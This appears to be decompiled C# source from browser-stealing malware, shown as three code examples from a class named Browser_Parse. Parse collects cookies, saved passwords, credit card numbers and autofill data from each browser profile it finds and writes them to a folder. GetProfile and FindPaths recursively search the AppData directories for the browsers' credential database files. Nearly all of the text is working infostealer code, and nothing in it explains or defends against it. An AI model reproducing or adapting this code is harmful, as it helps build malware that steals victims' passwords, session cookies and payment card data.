Example #1
0
 // Token: 0x06000158 RID: 344 RVA: 0x00008750 File Offset: 0x00006950
 public static void Parse(string dir)
 {
     Directory.CreateDirectory(dir + "\\Browsers");
     Steal.Cookies();
     try
     {
         foreach (string text in Browser_Parse.GetProfile())
         {
             try
             {
                 string fullName = new FileInfo(text).Directory.FullName;
                 string text2    = text.Contains(Browser_Parse.RoamingAppData) ? Browser_Parse.GetRoadData(fullName) : Browser_Parse.GetLclName(fullName);
                 if (!string.IsNullOrEmpty(text2))
                 {
                     text2 = text2[0].ToString().ToUpper() + text2.Remove(0, 1);
                     string name = Browser_Parse.GetName(fullName);
                     GetCookies.Cookie_Grab(fullName, text2, name);
                     GetPasswords.Passwords_Grab(fullName, text2, name);
                     GetPasswords.Write_Passwords();
                     Get_Credit_Cards.Get_CC(fullName, text2, name);
                     Get_Credit_Cards.Write_CC(text2, name);
                     Get_Browser_Autofill.Get_Autofill(fullName, text2, name);
                     Get_Browser_Autofill.Write_Autofill(text2, name);
                 }
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
 }
Example #2
0
        // Token: 0x06000154 RID: 340 RVA: 0x000085AC File Offset: 0x000067AC
        private static List <string> GetProfile()
        {
            List <string> list = new List <string>();
            List <string> result;

            try
            {
                list.AddRange(Browser_Parse.FindPaths(Browser_Parse.RoamingAppData, 4, 1, new string[]
                {
                    "Login Data",
                    "Web Data",
                    "Cookies"
                }));
                list.AddRange(Browser_Parse.FindPaths(Browser_Parse.LocalAppData, 4, 1, new string[]
                {
                    "Login Data",
                    "Web Data",
                    "Cookies"
                }));
                result = list;
            }
            catch
            {
                result = list;
            }
            return(result);
        }
Example #3
0
        // Token: 0x06000153 RID: 339 RVA: 0x00008460 File Offset: 0x00006660
        public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
        {
            List <string> list = new List <string>();

            if (files != null && files.Length != 0 && level <= maxLevel)
            {
                try
                {
                    foreach (string path in Directory.GetDirectories(baseDirectory))
                    {
                        try
                        {
                            DirectoryInfo directoryInfo = new DirectoryInfo(path);
                            FileInfo[]    files2        = directoryInfo.GetFiles();
                            bool          flag          = false;
                            foreach (FileInfo fileInfo in files2)
                            {
                                if (flag)
                                {
                                    break;
                                }
                                foreach (string text in files)
                                {
                                    if (flag)
                                    {
                                        break;
                                    }
                                    string   a         = text;
                                    FileInfo fileInfo2 = fileInfo;
                                    if (a == fileInfo2.Name)
                                    {
                                        flag = true;
                                        list.Add(fileInfo2.FullName);
                                    }
                                }
                            }
                            foreach (string item in Browser_Parse.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
                            {
                                if (!list.Contains(item))
                                {
                                    list.Add(item);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                    return(list);
                }
                catch
                {
                    return(list);
                }
                return(list);
            }
            return(list);
        }